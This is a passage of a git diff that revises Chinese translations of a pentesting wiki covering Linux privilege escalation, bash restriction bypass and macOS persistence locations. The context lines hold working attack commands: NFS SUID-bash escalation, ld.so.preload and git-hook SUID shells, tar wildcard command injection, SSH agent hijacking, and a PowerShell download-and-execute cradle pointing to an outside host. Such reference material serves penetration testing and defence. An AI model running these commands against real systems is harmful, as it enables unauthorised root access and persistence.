**修改另一个进程的能力集**。它授予从其他进程的有效、可继承和允许能力集中添加或删除能力的能力。然而,使用此能力有某些限制。 -拥有 `CAP_SETPCAP` 的进程 **只能授予或移除其自身允许能力集中存在的能力**。换句话说,如果一个进程自己没有某个能力,它就不能将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出其自身的权限级别。 +拥有 `CAP_SETPCAP` 的进程 **只能授予或移除其自身允许能力集中的能力**。换句话说,如果一个进程没有某个能力,它不能将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出自身的权限级别。 此外,在最近的内核版本中,`CAP_SETPCAP` 能力已被 **进一步限制**。它不再允许进程任意修改其他进程的能力集。相反,它 **仅允许进程降低其自身允许能力集或其后代的允许能力集中的能力**。这一变化是为了减少与能力相关的潜在安全风险。 diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 9e4411e0d..7bf99e482 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -阅读 _ **/etc/exports** _ 文件,如果你发现某个目录被配置为 **no_root_squash**,那么你可以 **作为客户端访问** 该目录,并 **像本地的根用户** 一样 **在里面写入**。 +阅读 _ **/etc/exports** _ 文件,如果你发现某个目录被配置为 **no_root_squash**,那么你可以 **作为客户端访问** 该目录,并 **像本地机器的 root 一样** 在该目录中 **写入**。 -**no_root_squash**:这个选项基本上赋予客户端的根用户以根身份访问 NFS 服务器上的文件的权限。这可能导致严重的安全隐患。 +**no_root_squash**:此选项基本上允许客户端的 root 用户以 root 身份访问 NFS 服务器上的文件。这可能导致严重的安全隐患。 -**no_all_squash**:这与 **no_root_squash** 选项类似,但适用于 **非根用户**。想象一下,你以 nobody 用户的身份获得一个 shell;检查 /etc/exports 文件;存在 no_all_squash 选项;检查 /etc/passwd 文件;模拟一个非根用户;以该用户创建一个 suid 文件(通过使用 nfs 挂载)。以 nobody 用户身份执行该 suid 文件并成为不同的用户。 +**no_all_squash**:这与 **no_root_squash** 选项类似,但适用于 **非 root 用户**。想象一下,你以 nobody 用户的身份获得一个 shell;检查 /etc/exports 文件;存在 no_all_squash 选项;检查 /etc/passwd 文件;模拟一个非 root 用户;作为该用户创建一个 suid 文件(通过使用 nfs 挂载)。以 nobody 用户身份执行该 suid 文件并成为不同的用户。 # 权限提升 @@ -12,7 +12,7 @@ 如果你发现了这个漏洞,你可以利用它: -- **在客户端机器上挂载该目录**,并 **以根身份复制** /bin/bash 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后 **从受害者** 机器执行该 bash 二进制文件。 +- **在客户端机器上挂载该目录**,并 **以 root 身份复制** /bin/bash 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后 **从受害者** 机器执行该 bash 二进制文件。 ```bash #Attacker, as root user mkdir /tmp/pe @@ -42,14 +42,14 @@ cd ## 本地利用 > [!NOTE] -> 请注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用此权限提升,隧道所需的端口**。\ +> 请注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用这种权限提升,隧道所需的端口**。\ > 以下技巧适用于文件`/etc/exports`**指示一个IP**的情况。在这种情况下,您**将无法使用**任何情况下的**远程利用**,您需要**利用这个技巧**。\ -> 另一个利用成功的必要条件是**`/etc/export`中的导出****必须使用`insecure`标志**。\ +> 另一个使利用有效的必要条件是**`/etc/export`中的导出****必须使用`insecure`标志**。\ > --_我不确定如果`/etc/export`指示一个IP地址,这个技巧是否有效_-- ## 基本信息 -该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,可能导致未经授权的访问。利用过程涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。 +该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,可能导致未经授权的访问。利用涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。 ### 编译库 @@ -87,9 +87,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ #root ``` -## 额外:NFShell 用于隐秘文件访问 +## 额外内容:NFShell 用于隐秘文件访问 -一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本 (nfsh.py)。该脚本调整 uid 以匹配被访问文件的 uid,从而允许在共享上与文件进行交互而不出现权限问题: +一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本 (nfsh.py)。该脚本调整 uid 以匹配被访问文件的 uid,从而允许与共享上的文件进行交互而不出现权限问题: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index ea0125210..6f20b9db6 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -98,7 +98,7 @@ setgid(0); system("/bin/bash"); } ``` -现在,只需调用 **`/bin/su`** 您将获得一个以 root 身份运行的 shell。 +现在,只需调用 **`/bin/su`**,您将获得一个以 root 身份运行的 shell。 ## 脚本 diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 263698678..c1a6654fb 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -12,7 +12,7 @@ ## PE -如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根 / 文件夹的容器**。 +如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根目录 / 的容器**。 ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder @@ -37,6 +37,6 @@ mkdir rootfs runc run demo ``` > [!CAUTION] -> 这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行它根本无法工作(除非您有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内有相当多的限制,而这些限制在无根容器外并不适用。 +> 这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行它根本无法工作(除非你有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内部有相当多的限制,而这些限制在无根容器外部并不适用。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 1a3173d8a..a41fe8db2 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -4,9 +4,9 @@ [来自redhat文档的介绍和示例](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) 是一个**标签** **系统**。每个**进程**和每个**文件**系统对象都有一个**标签**。SELinux策略定义了关于**进程标签可以对系统上所有其他标签执行的操作**的规则。 +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) 是一个 **标签** **系统**。每个 **进程** 和每个 **文件** 系统对象都有一个 **标签**。SELinux 策略定义了关于 **进程标签可以对系统上所有其他标签执行的操作** 的规则。 -容器引擎以单个受限的SELinux标签启动**容器进程**,通常为`container_t`,然后将容器内部的容器设置为标签`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读取/写入/执行标记为`container_file_t`的文件**。如果容器进程逃离容器并尝试写入主机上的内容,Linux内核将拒绝访问,并仅允许容器进程写入标记为`container_file_t`的内容。 +容器引擎以单个受限的 SELinux 标签启动 **容器进程**,通常为 `container_t`,然后将容器内部的容器设置为标签 `container_file_t`。SELinux 策略规则基本上表示 **`container_t` 进程只能读取/写入/执行标记为 `container_file_t` 的文件**。如果容器进程逃离容器并尝试写入主机上的内容,Linux 内核将拒绝访问,并仅允许容器进程写入标记为 `container_file_t` 的内容。 ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 2da77c5a8..3b67b6362 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ## 使用 Python 的 Socket 绑定示例 -在以下示例中,**创建了一个 unix socket** (`/tmp/socket_test.s`),并且所有**接收到的内容**都将由 `os.system` **执行**。我知道你在现实中不会找到这个,但这个示例的目的是展示使用 unix sockets 的代码是如何的,以及在最糟糕的情况下如何处理输入。 +在以下示例中,**创建了一个 unix socket** (`/tmp/socket_test.s`),并且所有**接收到的内容**都将由 `os.system` **执行**。我知道你在现实中不会找到这个,但这个示例的目的是看看使用 unix sockets 的代码是怎样的,以及如何在最糟糕的情况下管理输入。 ```python:s.py import socket import os, os.path diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 5d46e1f90..4136e358d 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,14 +1,12 @@ -{{#include ../../banners/hacktricks-training.md}} - -# 总结 +# 摘要 如果您在 `/etc/ssh_config` 或 `$HOME/.ssh/config` 配置中发现以下内容,您可以做些什么: ``` ForwardAgent yes ``` -如果你在机器内是 root,你可能可以 **访问任何代理所建立的 ssh 连接**,只要你能在 _/tmp_ 目录中找到它。 +如果你在机器内是 root,你可能可以 **访问任何由你在 _/tmp_ 目录中找到的代理所建立的 ssh 连接**。 -使用 Bob 的其中一个 ssh-agent 冒充 Bob: +使用 Bob 的 ssh-agent 冒充 Bob: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 3e6f0fdf0..6ae967445 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -16,7 +16,7 @@ touch "--reference=/my/own/path/filename" touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` -您可以利用这个使用 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar 攻击)_\ +您可以利用此漏洞使用 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar 攻击)_\ 更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Rsync @@ -37,7 +37,7 @@ touch "-e sh shell.sh" ## 7z -在 **7z** 中,即使在 `*` 前使用 `--`(注意 `--` 意味着后面的输入不能被视为参数,因此在这种情况下只是文件路径),您也可以导致任意错误以读取文件,因此如果以下命令由 root 执行: +在 **7z** 中,即使在 `*` 前使用 `--`(注意 `--` 表示后面的输入不能被视为参数,因此在这种情况下只是文件路径),您也可以导致任意错误以读取文件,因此如果以下命令由 root 执行: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index ed0fa876d..367e10542 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -4,7 +4,7 @@ ### /etc/ld.so.preload -此文件的行为类似于 **`LD_PRELOAD`** 环境变量,但它也适用于 **SUID 二进制文件**。\ +该文件的行为类似于 **`LD_PRELOAD`** 环境变量,但它也适用于 **SUID 二进制文件**。\ 如果您可以创建或修改它,您可以简单地添加一个 **将在每个执行的二进制文件中加载的库的路径**。 例如:`echo "/tmp/pe.so" > /etc/ld.so.preload` @@ -24,9 +24,9 @@ system("/bin/bash"); ``` ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) 是 **脚本**,在 git 仓库中的各种 **事件** 上 **运行**,例如当创建提交、合并时... 所以如果一个 **特权脚本或用户** 经常执行这些操作,并且可以 **写入 `.git` 文件夹**,这可以被用来 **privesc**。 +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) 是 **在** git 仓库中 **各种事件** 发生时 **运行的脚本**,例如当创建提交、合并时... 所以如果一个 **特权脚本或用户** 经常执行这些操作,并且可以 **在 `.git` 文件夹中写入**,这可以被用来 **提权**。 -例如,可以在 git 仓库的 **`.git/hooks`** 中 **生成一个脚本**,以便在创建新提交时始终执行: +例如,可以在 git 仓库的 **`.git/hooks`** 中 **生成一个脚本**,这样每当创建新提交时它就会被执行: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md index 2ee9f1b39..6e4db2751 100644 --- a/src/linux-hardening/useful-linux-commands.md +++ b/src/linux-hardening/useful-linux-commands.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# 有用的 Linux 命令 {{#include ../banners/hacktricks-training.md}} -## Common Bash - +## 常见的 Bash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Windows上的Bash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## 查找 ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Nmap 搜索帮助 ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 0eef62f8a..ac9c4ce67 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -141,12 +141,12 @@ echo ${PATH:0:1} #/ ``` ### DNS 数据外泄 -你可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为例子。 +您可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为例子。 ### 内置命令 -如果你无法执行外部函数,并且只能访问 **有限的内置命令以获得 RCE**,有一些方便的技巧可以做到这一点。通常你 **无法使用所有** 的 **内置命令**,所以你应该 **了解所有选项** 以尝试绕过监狱。这个想法来自 [**devploit**](https://twitter.com/devploit)。\ -首先检查所有的 [**shell 内置命令**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** 然后这里有一些 **建议**: +如果您无法执行外部函数,并且只能访问 **有限的内置命令以获得 RCE**,那么有一些方便的技巧可以做到这一点。通常您 **无法使用所有** 的 **内置命令**,因此您应该 **了解所有选项** 以尝试绕过监狱。灵感来自 [**devploit**](https://twitter.com/devploit)。\ +首先检查所有的 [**shell 内置命令**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**。** 然后这里有一些 **建议**: ```bash # Get list of builtins declare builtins diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index 557fc1d51..765966dab 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -6,7 +6,7 @@ ## 检查环境 -为了利用这个向量,用户必须能够以更高权限的用户执行yum命令,即root。 +为了利用这个向量,用户必须能够以更高权限的用户(即root)执行yum命令。 ### 这个向量的一个有效示例 diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index a825854c1..1c461bbd9 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,5 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} + # Sudo/Admin Groups ## **PE - 方法 1** @@ -34,13 +35,13 @@ cat /etc/polkit-1/localauthority.conf.d/* ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -如果您尝试执行 **pkexec** 并且收到此 **错误**: +如果你尝试执行 **pkexec** 并且收到这个 **错误**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**这不是因为你没有权限,而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**: +**这不是因为你没有权限,而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -57,7 +58,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ```text %wheel ALL=(ALL:ALL) ALL ``` -这意味着 **任何属于 wheel 组的用户都可以以 sudo 身份执行任何操作**。 +这意味着 **任何属于 wheel 组的用户都可以以 sudo 执行任何操作**。 如果是这样,要 **成为 root,你只需执行**: ```text diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 90b0d575a..5aba03151 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -17,24 +17,24 @@ #### 位置 - **`/Library/LaunchAgents`** -- **触发**: 重启 +- **触发器**: 重启 - 需要根权限 - **`/Library/LaunchDaemons`** -- **触发**: 重启 +- **触发器**: 重启 - 需要根权限 - **`/System/Library/LaunchAgents`** -- **触发**: 重启 +- **触发器**: 重启 - 需要根权限 - **`/System/Library/LaunchDaemons`** -- **触发**: 重启 +- **触发器**: 重启 - 需要根权限 - **`~/Library/LaunchAgents`** -- **触发**: 重新登录 +- **触发器**: 重新登录 - **`~/Library/LaunchDemons`** -- **触发**: 重新登录 +- **触发器**: 重新登录 > [!TIP] -> 有趣的是,**`launchd`** 在 Mach-o 部分 `__Text.__config` 中嵌入了一个属性列表,其中包含其他必须启动的知名服务。此外,这些服务可以包含 `RequireSuccess`、`RequireRun` 和 `RebootOnSuccess`,这意味着它们必须运行并成功完成。 +> 有趣的是,**`launchd`** 在 Mach-o 部分 `__Text.__config` 中嵌入了一个属性列表,其中包含 launchd 必须启动的其他知名服务。此外,这些服务可以包含 `RequireSuccess`、`RequireRun` 和 `RebootOnSuccess`,这意味着它们必须运行并成功完成。 > > 当然,由于代码签名,它无法被修改。 @@ -42,8 +42,8 @@ **`launchd`** 是 OX S 内核在启动时执行的 **第一个** **进程**,并且在关机时是最后一个完成的进程。它应该始终具有 **PID 1**。该进程将 **读取并执行** 在以下 **ASEP** **plist** 中指示的配置: -- `/Library/LaunchAgents`: 管理员安装的每用户代理 -- `/Library/LaunchDaemons`: 管理员安装的系统范围守护进程 +- `/Library/LaunchAgents`: 由管理员安装的每用户代理 +- `/Library/LaunchDaemons`: 由管理员安装的系统范围守护进程 - `/System/Library/LaunchAgents`: Apple 提供的每用户代理。 - `/System/Library/LaunchDaemons`: Apple 提供的系统范围守护进程。 @@ -75,10 +75,10 @@ 在某些情况下,**代理需要在用户登录之前执行**,这些被称为**PreLoginAgents**。例如,这在登录时提供辅助技术是有用的。它们也可以在`/Library/LaunchAgents`中找到(请参见[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)的示例)。 > [!NOTE] -> 新的守护进程或代理配置文件将在**下次重启后或使用**`launchctl load `**加载**。也可以使用`launchctl -F `加载没有该扩展名的.plist文件(但是这些plist文件在重启后不会自动加载)。\ +> 新的守护进程或代理配置文件将在**下次重启后或使用** `launchctl load ` **加载**。也可以使用`launchctl -F `加载没有该扩展名的.plist文件(但是这些plist文件在重启后不会自动加载)。\ > 也可以使用`launchctl unload `进行**卸载**(指向的进程将被终止), > -> 要**确保**没有**任何**(如覆盖)**阻止**代理或守护进程**运行**,请运行:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +> 为了**确保**没有**任何**(如覆盖)**阻止**代理或守护进程**运行**,请运行:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` 列出当前用户加载的所有代理和守护进程: ```bash @@ -150,7 +150,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### 重新打开的应用程序 > [!CAUTION] -> 配置所指示的利用和注销再登录或甚至重启对我执行应用程序没有效果。(应用程序没有被执行,也许在执行这些操作时需要它正在运行) +> 配置所指示的利用和注销再登录或甚至重启对我执行应用程序没有效果。(应用程序没有被执行,也许在执行这些操作时需要保持运行) **写作**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) @@ -160,7 +160,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc #### 位置 - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -- **触发**: 重启重新打开应用程序 +- **触发器**: 重启重新打开应用程序 #### 描述与利用 @@ -221,9 +221,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist } [...] ``` -所以,如果系统中终端的偏好设置的plist可以被覆盖,那么**`open`**功能可以用来**打开终端并执行该命令**。 +因此,如果系统中终端的首选项 plist 可以被覆盖,那么 **`open`** 功能可以用来 **打开终端并执行该命令**。 -你可以通过cli添加这个: +您可以通过 CLI 添加此内容: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -327,7 +327,7 @@ open /tmp/test.terminal 当您 **触发文件的预览**(在 Finder 中选择文件后按空格键)并且安装了 **支持该文件类型的插件** 时,可以执行 QuickLook 插件。 -可以编译您自己的 QuickLook 插件,将其放置在上述位置之一以加载,然后转到支持的文件并按空格键以触发它。 +可以编译自己的 QuickLook 插件,将其放置在上述位置之一以加载,然后转到支持的文件并按空格键以触发它。 ### ~~登录/注销钩子~~ @@ -376,7 +376,7 @@ defaults delete com.apple.loginwindow LogoutHook ## 条件沙箱绕过 > [!TIP] -> 在这里您可以找到对 **沙箱绕过** 有用的启动位置,允许您通过 **将其写入文件** 并 **期望不太常见的条件**,如特定的 **已安装程序**、"不常见" 用户 **操作** 或环境,简单地执行某些内容。 +> 在这里您可以找到对 **沙箱绕过** 有用的启动位置,允许您通过 **将其写入文件** 并 **期望不太常见的条件**(如特定的 **已安装程序**、"不常见" 用户 **操作** 或环境)来简单地执行某些操作。 ### Cron @@ -390,7 +390,7 @@ defaults delete com.apple.loginwindow LogoutHook #### 位置 - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -- 直接写入访问需要根权限。如果您可以执行 `crontab `,则不需要根权限 +- 直接写入访问需要根权限。如果您可以执行 `crontab ` 则不需要根权限 - **触发**: 取决于 cron 作业 #### 描述与利用 @@ -406,7 +406,7 @@ crontab -l # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -您可以找到常规的 **cron** **作业**、**at** **作业**(不常用)和 **周期性** **作业**(主要用于清理临时文件)。每日周期性作业可以通过以下方式执行,例如:`periodic daily`。 +您可以找到常规的 **cron** **作业**、**at** **作业**(不常用)和 **周期性** **作业**(主要用于清理临时文件)。每日周期性作业可以通过以下方式执行:`periodic daily`。 要以编程方式添加 **用户 cronjob**,可以使用: ```bash @@ -421,7 +421,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g - TCC 绕过: [✅](https://emojipedia.org/check-mark-button) - iTerm2 曾经拥有授予的 TCC 权限 -#### 位置 +#### Locations - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - **触发器**: 打开 iTerm @@ -430,7 +430,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - **触发器**: 打开 iTerm -#### 描述与利用 +#### Description & Exploitation 存储在 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** 中的脚本将被执行。例如: ```bash @@ -525,12 +525,12 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" - TCC 绕过: [✅](https://emojipedia.org/check-mark-button) - 它请求辅助功能权限 -#### Location +#### 位置 - **`~/.hammerspoon/init.lua`** -- **Trigger**: 一旦执行 hammerspoon +- **触发**: 一旦执行 hammerspoon -#### Description +#### 描述 [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整的 AppleScript 代码集成和 shell 脚本的执行,显著增强了其脚本能力。 @@ -585,7 +585,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g - **触发器**: 通过 ssh 登录 > [!CAUTION] -> 启用 ssh 需要完全磁盘访问: +> 启用 ssh 需要完全磁盘访问权限: > > ```bash > sudo systemsetup -setremotelogin on @@ -628,13 +628,13 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ``` 这些项目存储在文件 **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -**登录项** 也可以通过 API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 指示,该配置将存储在 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +**登录项** 也可以通过使用 API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 来指示,这将把配置存储在 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** ### ZIP 作为登录项 (查看关于登录项的前一部分,这是一个扩展) -如果将 **ZIP** 文件存储为 **登录项**,则 **`Archive Utility`** 